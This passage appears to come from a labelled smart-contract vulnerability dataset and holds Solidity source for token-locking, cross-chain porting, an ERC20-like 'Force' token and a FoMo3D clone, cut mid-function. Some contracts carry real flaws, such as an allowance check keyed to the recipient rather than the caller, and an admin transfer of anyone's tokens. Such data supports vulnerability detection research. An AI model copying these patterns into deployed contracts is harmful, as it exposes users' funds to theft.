return ((whichAuction(_tick)) * 1 days) / timeScale + dailyAuctionStartTime - 1 days;
}
function restartAuction() private {
uint time;
uint price;
uint auctionTokens;
(time, price, auctionTokens) = nextAuction();
uint thisAuction = currentAuction();
if (thisAuction > AUCTION_WHEN_PERCENTAGE_LOGIC_STARTS) {
globalSupplyAfterPercentageLogic = globalSupplyAfterPercentageLogic.add(globalDailySupply());
}
mintable = mintable.add(auctionTokens);
lastPurchasePrice = price;
lastPurchaseTick = whichTick(time);
}
}
contract TokenLocker is Ownable {
using SafeMath for uint;
uint internal constant QUARTER = 91 days + 450 minutes;
Auctions public auctions;
METToken public token;
bool public locked = false;
uint public deposited;
uint public lastWithdrawTime;
uint public quarterlyWithdrawable;
event Withdrawn(address indexed who, uint amount);
event Deposited(address indexed who, uint amount);
modifier onlyAuction() {
require(msg.sender == address(auctions));
_;
}
modifier preLock() {
require(!locked);
_;
}
modifier postLock() {
require(locked);
_;
}
function TokenLocker(address _auctions, address _token) public {
require(_auctions != 0x0);
require(_token != 0x0);
auctions = Auctions(_auctions);
token = METToken(_token);
}
function lockTokenLocker() public onlyAuction {
require(auctions.initialAuctionEndTime() != 0);
require(auctions.initialAuctionEndTime() >= auctions.genesisTime());
locked = true;
}
function deposit (address beneficiary, uint amount ) public onlyAuction preLock {
uint totalBalance = token.balanceOf(this);
require(totalBalance.sub(deposited) >= amount);
deposited = deposited.add(amount);
emit Deposited(beneficiary, amount);
}
function withdraw() public onlyOwner postLock {
require(deposited > 0);
uint withdrawable = 0;
uint withdrawTime = auctions.initialAuctionEndTime();
if (lastWithdrawTime == 0 && auctions.isInitialAuctionEnded()) {
withdrawable = withdrawable.add((deposited.mul(25)).div(100));
quarterlyWithdrawable = (deposited.sub(withdrawable)).div(12);
lastWithdrawTime = withdrawTime;
}
require(lastWithdrawTime != 0);
if (now >= lastWithdrawTime.add(QUARTER)) {
uint daysSinceLastWithdraw = now.sub(lastWithdrawTime);
uint totalQuarters = daysSinceLastWithdraw.div(QUARTER);
require(totalQuarters > 0);
withdrawable = withdrawable.add(quarterlyWithdrawable.mul(totalQuarters));
if (now >= withdrawTime.add(QUARTER.mul(12))) {
withdrawable = deposited;
}
lastWithdrawTime = lastWithdrawTime.add(totalQuarters.mul(QUARTER));
}
if (withdrawable > 0) {
deposited = deposited.sub(withdrawable);
token.transfer(msg.sender, withdrawable);
emit Withdrawn(msg.sender, withdrawable);
}
}
}
interface ITokenPorter {
event ExportOnChainClaimedReceiptLog(address indexed destinationMetronomeAddr,
address indexed destinationRecipientAddr, uint amount);
event ExportReceiptLog(bytes8 destinationChain, address destinationMetronomeAddr,
address indexed destinationRecipientAddr, uint amountToBurn, uint fee, bytes extraData, uint currentTick,
uint indexed burnSequence, bytes32 indexed currentBurnHash, bytes32 prevBurnHash, uint dailyMintable,
uint[] supplyOnAllChains, uint genesisTime, uint blockTimestamp, uint dailyAuctionStartTime);
event ImportReceiptLog(address indexed destinationRecipientAddr, uint amountImported,
uint fee, bytes extraData, uint currentTick, uint indexed importSequence,
bytes32 indexed currentHash, bytes32 prevHash, uint dailyMintable, uint blockTimestamp, address caller);
function export(address tokenOwner, bytes8 _destChain, address _destMetronomeAddr,
address _destRecipAddr, uint _amount, uint _fee, bytes _extraData) public returns (bool);
function importMET(bytes8 _originChain, bytes8 _destinationChain, address[] _addresses, bytes _extraData,
bytes32[] _burnHashes, uint[] _supplyOnAllChains, uint[] _importData, bytes _proof) public returns (bool);
}
contract TokenPorter is ITokenPorter, Owned {
using SafeMath for uint;
Auctions public auctions;
METToken public token;
Validator public validator;
ChainLedger public chainLedger;
uint public burnSequence = 1;
uint public importSequence = 1;
bytes32[] public exportedBurns;
uint[] public supplyOnAllChains = new uint[](6);
mapping(bytes8 => address) public destinationChains;
function initTokenPorter(address _tokenAddr, address _auctionsAddr) public onlyOwner {
require(_tokenAddr != 0x0);
require(_auctionsAddr != 0x0);
auctions = Auctions(_auctionsAddr);
token = METToken(_tokenAddr);
}
function setValidator(address _validator) public onlyOwner returns (bool) {
require(_validator != 0x0);
validator = Validator(_validator);
return true;
}
function setChainLedger(address _chainLedger) public onlyOwner returns (bool) {
require(_chainLedger != 0x0);
chainLedger = ChainLedger(_chainLedger);
return true;
}
function addDestinationChain(bytes8 _chainName, address _contractAddress)
public onlyOwner returns (bool)
{
require(_chainName != 0 && _contractAddress != address(0));
destinationChains[_chainName] = _contractAddress;
return true;
}
function removeDestinationChain(bytes8 _chainName) public onlyOwner returns (bool) {
require(_chainName != 0);
require(destinationChains[_chainName] != address(0));
destinationChains[_chainName] = address(0);
return true;
}
mapping (address => mapping(address => uint)) public claimables;
function claimReceivables(address[] recipients) public returns (uint) {
require(recipients.length > 0);
uint total;
for (uint i = 0; i < recipients.length; i++) {
address recipient = recipients[i];
uint amountBurned = claimables[msg.sender][recipient];
if (amountBurned > 0) {
claimables[msg.sender][recipient] = 0;
emit ExportOnChainClaimedReceiptLog(msg.sender, recipient, amountBurned);
total = total.add(1);
}
}
return total;
}
function importMET(bytes8 _originChain, bytes8 _destinationChain, address[] _addresses, bytes _extraData,
bytes32[] _burnHashes, uint[] _supplyOnAllChains, uint[] _importData, bytes _proof) public returns (bool)
{
require(msg.sender == address(token));
require(_importData.length == 8);
require(_addresses.length == 2);
require(_burnHashes.length == 2);
require(validator.isReceiptClaimable(_originChain, _destinationChain, _addresses, _extraData, _burnHashes,
_supplyOnAllChains, _importData, _proof));
validator.claimHash(_burnHashes[1]);
require(_destinationChain == auctions.chain());
uint amountToImport = _importData[1].add(_importData[2]);
require(amountToImport.add(token.totalSupply()) <= auctions.globalMetSupply());
require(_addresses[0] == address(token));
if (_importData[1] == 0) {
return false;
}
if (importSequence == 1 && token.totalSupply() == 0) {
auctions.prepareAuctionForNonOGChain();
}
token.mint(_addresses[1], _importData[1]);
emit ImportReceiptLog(_addresses[1], _importData[1], _importData[2], _extraData,
auctions.currentTick(), importSequence, _burnHashes[1],
_burnHashes[0], auctions.dailyMintable(), now, msg.sender);
importSequence++;
chainLedger.registerImport(_originChain, _destinationChain, _importData[1]);
return true;
}
function export(address tokenOwner, bytes8 _destChain, address _destMetronomeAddr,
address _destRecipAddr, uint _amount, uint _fee, bytes _extraData) public returns (bool)
{
require(msg.sender == address(token));
require(_destChain != 0x0 && _destMetronomeAddr != 0x0 && _destRecipAddr != 0x0 && _amount != 0);
require(destinationChains[_destChain] == _destMetronomeAddr);
require(token.balanceOf(tokenOwner) >= _amount.add(_fee));
token.destroy(tokenOwner, _amount.add(_fee));
uint dailyMintable = auctions.dailyMintable();
uint currentTick = auctions.currentTick();
if (burnSequence == 1) {
exportedBurns.push(keccak256(uint8(0)));
}
if (_destChain == auctions.chain()) {
claimables[_destMetronomeAddr][_destRecipAddr] =
claimables[_destMetronomeAddr][_destRecipAddr].add(_amount);
}
uint blockTime = block.timestamp;
bytes32 currentBurn = keccak256(
blockTime,
auctions.chain(),
_destChain,
_destMetronomeAddr,
_destRecipAddr,
_amount,
currentTick,
auctions.genesisTime(),
dailyMintable,
token.totalSupply(),
_extraData,
exportedBurns[burnSequence - 1]);
exportedBurns.push(currentBurn);
supplyOnAllChains[0] = token.totalSupply();
emit ExportReceiptLog(_destChain, _destMetronomeAddr, _destRecipAddr, _amount, _fee, _extraData,
currentTick, burnSequence, currentBurn, exportedBurns[burnSequence - 1], dailyMintable,
supplyOnAllChains, auctions.genesisTime(), blockTime, auctions.dailyAuctionStartTime());
burnSequence = burnSequence + 1;
chainLedger.registerExport(auctions.chain(), _destChain, _amount);
return true;
}
}
contract ChainLedger is Owned {
using SafeMath for uint;
mapping (bytes8 => uint) public balance;
mapping (bytes8 => bool) public validChain;
bytes8[] public chains;
address public tokenPorter;
Auctions public auctions;
event LogRegisterChain(address indexed caller, bytes8 indexed chain, uint supply, bool outcome);
event LogRegisterExport(address indexed caller, bytes8 indexed originChain, bytes8 indexed destChain, uint amount);
event LogRegisterImport(address indexed caller, bytes8 indexed originChain, bytes8 indexed destChain, uint amount);
function initChainLedger(address _tokenPorter, address _auctionsAddr) public onlyOwner returns (bool) {
require(_tokenPorter != 0x0);
require(_auctionsAddr != 0x0);
tokenPorter = _tokenPorter;
auctions = Auctions(_auctionsAddr);
return true;
}
function registerChain(bytes8 chain, uint supply) public onlyOwner returns (bool) {
require(!validChain[chain]);
validChain[chain] = true;
chains.push(chain);
balance[chain] = supply;
emit LogRegisterChain(msg.sender, chain, supply, true);
}
function registerExport(bytes8 originChain, bytes8 destChain, uint amount) public {
require(msg.sender == tokenPorter || msg.sender == owner);
require(validChain[originChain] && validChain[destChain]);
require(balance[originChain] >= amount);
balance[originChain] = balance[originChain].sub(amount);
balance[destChain] = balance[destChain].add(amount);
emit LogRegisterExport(msg.sender, originChain, destChain, amount);
}
function registerImport(bytes8 originChain, bytes8 destChain, uint amount) public {
require(msg.sender == tokenPorter || msg.sender == owner);
require(validChain[originChain] && validChain[destChain]);
balance[originChain] = balance[originChain].sub(amount);
balance[destChain] = balance[destChain].add(amount);
emit LogRegisterImport(msg.sender, originChain, destChain, amount);
}
}
contract Validator is Owned {
mapping (bytes32 => mapping (address => bool)) public hashAttestations;
mapping (address => bool) public isValidator;
mapping (address => uint8) public validatorNum;
address[] public validators;
address public metToken;
address public tokenPorter;
mapping (bytes32 => bool) public hashClaimed;
uint8 public threshold = 2;
event LogAttestation(bytes32 indexed hash, address indexed who, bool isValid);
function initValidator(address _validator1, address _validator2, address _validator3) public onlyOwner {
for (uint8 i = 0; i < validators.length; i++) {
delete isValidator[validators[i]];
delete validatorNum[validators[i]];
}
delete validators;
validators.push(_validator1);
validators.push(_validator2);
validators.push(_validator3);
isValidator[_validator1] = true;
isValidator[_validator2] = true;
isValidator[_validator3] = true;
validatorNum[_validator1] = 0;
validatorNum[_validator2] = 1;
validatorNum[_validator3] = 2;
}
function setTokenPorter(address _tokenPorter) public onlyOwner returns (bool) {
require(_tokenPorter != 0x0);
tokenPorter = _tokenPorter;
return true;
}
function validateHash(bytes32 hash) public {
require(isValidator[msg.sender]);
hashAttestations[hash][msg.sender] = true;
emit LogAttestation(hash, msg.sender, true);
}
function invalidateHash(bytes32 hash) public {
require(isValidator[msg.sender]);
hashAttestations[hash][msg.sender] = false;
emit LogAttestation(hash, msg.sender, false);
}
function hashClaimable(bytes32 hash) public view returns(bool) {
if (hashClaimed[hash]) { return false; }
uint8 count = 0;
for (uint8 i = 0; i < validators.length; i++) {
if (hashAttestations[hash][validators[i]]) { count++;}
}
if (count >= threshold) { return true; }
return false;
}
function claimHash(bytes32 hash) public {
require(msg.sender == tokenPorter);
require(hashClaimable(hash));
hashClaimed[hash] = true;
}
function isReceiptClaimable(bytes8 _originChain, bytes8 _destinationChain, address[] _addresses, bytes _extraData,
bytes32[] _burnHashes, uint[] _supplyOnAllChain, uint[] _importData, bytes _proof) public view returns(bool) {
require(_burnHashes[1] == keccak256(_importData[0], _originChain, _destinationChain, _addresses[0],
_addresses[1], _importData[1], _importData[3], _importData[4], _importData[5], _supplyOnAllChain[0],
_extraData, _burnHashes[0]));
if (hashClaimable(_burnHashes[1])) {
return true;
}
return false;
}
} | 0 | 1,733 |
pragma solidity 0.4.21;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public ICO;
address public DAO;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _owner) public onlyOwner {
owner = _owner;
}
function setDAO(address _DAO) onlyMasters public {
DAO = _DAO;
}
function setICO(address _ICO) onlyMasters public {
ICO = _ICO;
}
modifier onlyDAO() {
require(msg.sender == DAO);
_;
}
modifier onlyMasters() {
require(msg.sender == ICO || msg.sender == owner || msg.sender == DAO);
_;
}
}
contract hasHolders {
mapping(address => uint) private holdersId;
mapping(uint => address) public holders;
uint public holdersCount = 0;
event AddHolder(address indexed holder, uint index);
event DelHolder(address indexed holder);
event UpdHolder(address indexed holder, uint index);
function _addHolder(address _holder) internal returns (bool) {
if (holdersId[_holder] == 0) {
holdersId[_holder] = ++holdersCount;
holders[holdersCount] = _holder;
emit AddHolder(_holder, holdersCount);
return true;
}
return false;
}
function _delHolder(address _holder) internal returns (bool){
uint id = holdersId[_holder];
if (id != 0 && holdersCount > 0) {
holders[id] = holders[holdersCount];
delete holdersId[_holder];
delete holders[holdersCount--];
emit DelHolder(_holder);
emit UpdHolder(holders[id], id);
return true;
}
return false;
}
}
contract Force is Ownable, hasHolders {
using SafeMath for uint;
string public name = "Force";
string public symbol = "4TH";
uint8 public decimals = 0;
uint public totalSupply = 100000000;
mapping(address => uint) private balances;
mapping(address => mapping(address => uint)) private allowed;
string public information;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
event Mint(address indexed _to, uint _amount);
function Force() public {
balances[address(this)] = totalSupply;
emit Transfer(address(0), address(this), totalSupply);
_addHolder(this);
}
function setInformation(string _information) external onlyMasters {
information = _information;
}
function _transfer(address _from, address _to, uint _value) internal returns (bool){
require(_to != address(0));
require(_value > 0);
require(balances[_from] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
_addHolder(_to);
if (balances[_from] == 0) {
_delHolder(_from);
}
return true;
}
function serviceTransfer(address _from, address _to, uint _value) external onlyMasters returns (bool success) {
return _transfer(_from, _to, _value);
}
function transfer(address _to, uint _value) external returns (bool) {
return _transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) public view returns (uint) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint _value) external returns (bool) {
require(_value <= allowed[_from][_to]);
allowed[_from][_to] = allowed[_from][_to].sub(_value);
return _transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) external returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) external returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) external returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function mint(address _to, uint _amount) external onlyDAO returns (bool) {
require(_amount > 0);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function() external {}
} | 1 | 2,777 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract FoMoRapid is F3Devents{
using SafeMath for uint256;
using NameFilter for string;
using F3DKeysCalcFast for uint256;
address admin;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x56a4d4e31c09558F6A1619DFb857a482B3Bb2Fb6);
string constant public name = "FoMo3D Soon(tm) Edition";
string constant public symbol = "F3D";
uint256 private rndGap_ = 60 seconds;
uint256 constant private rndInit_ = 5 minutes;
uint256 constant private rndInc_ = 5 minutes;
uint256 constant private rndMax_ = 5 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
admin = msg.sender;
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end)
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else if (_now <= round_[_rID].end)
return ( ((round_[_rID].ico.keys()).add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 100000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now <= round_[_rID].strt + rndGap_)
return( ((round_[_rID].end).sub(rndInit_)).sub(_now) );
else
if (_now < round_[_rID].end)
return( (round_[_rID].end).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false)
{
uint256 _roundMask;
uint256 _roundEth;
uint256 _roundKeys;
uint256 _roundPot;
if (round_[_rID].eth == 0 && round_[_rID].ico > 0)
{
_roundEth = round_[_rID].ico;
_roundKeys = (round_[_rID].ico).keys();
_roundMask = ((round_[_rID].icoGen).mul(1000000000000000000)) / _roundKeys;
_roundPot = (round_[_rID].pot).add((round_[_rID].icoGen).sub((_roundMask.mul(_roundKeys)) / (1000000000000000000)));
} else {
_roundEth = round_[_rID].eth;
_roundKeys = round_[_rID].keys;
_roundMask = round_[_rID].mask;
_roundPot = round_[_rID].pot;
}
uint256 _playerKeys;
if (plyrRnds_[_pID][plyr_[_pID].lrnd].ico == 0)
_playerKeys = plyrRnds_[_pID][plyr_[_pID].lrnd].keys;
else
_playerKeys = calcPlayerICOPhaseKeys(_pID, _rID);
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( (_roundPot.mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _roundMask, _roundPot, _roundKeys, _playerKeys) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _roundMask, _roundPot, _roundKeys, _playerKeys) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _roundMask, uint256 _roundPot, uint256 _roundKeys, uint256 _playerKeys)
private
view
returns(uint256)
{
return( (((_roundMask.add((((_roundPot.mul(potSplit_[round_[rID_].team].gen)) / 100).mul(1000000000000000000)) / _roundKeys)).mul(_playerKeys)) / 1000000000000000000).sub(plyrRnds_[_pID][rID_].mask) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (round_[_rID].eth != 0)
{
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
} else {
return
(
round_[_rID].ico,
_rID,
(round_[_rID].ico).keys(),
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
if (plyrRnds_[_pID][_rID].ico == 0)
{
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
0
);
} else {
return
(
_pID,
plyr_[_pID].name,
calcPlayerICOPhaseKeys(_pID, _rID),
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].ico
);
}
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_ = manageRoundAndPlayer(_pID, _eventData_);
if (now <= round_[rID_].strt + rndGap_)
{
_eventData_.compressedData = _eventData_.compressedData + 2000000000000000000000000000000;
icoPhaseCore(_pID, msg.value, _team, _affID, _eventData_);
} else {
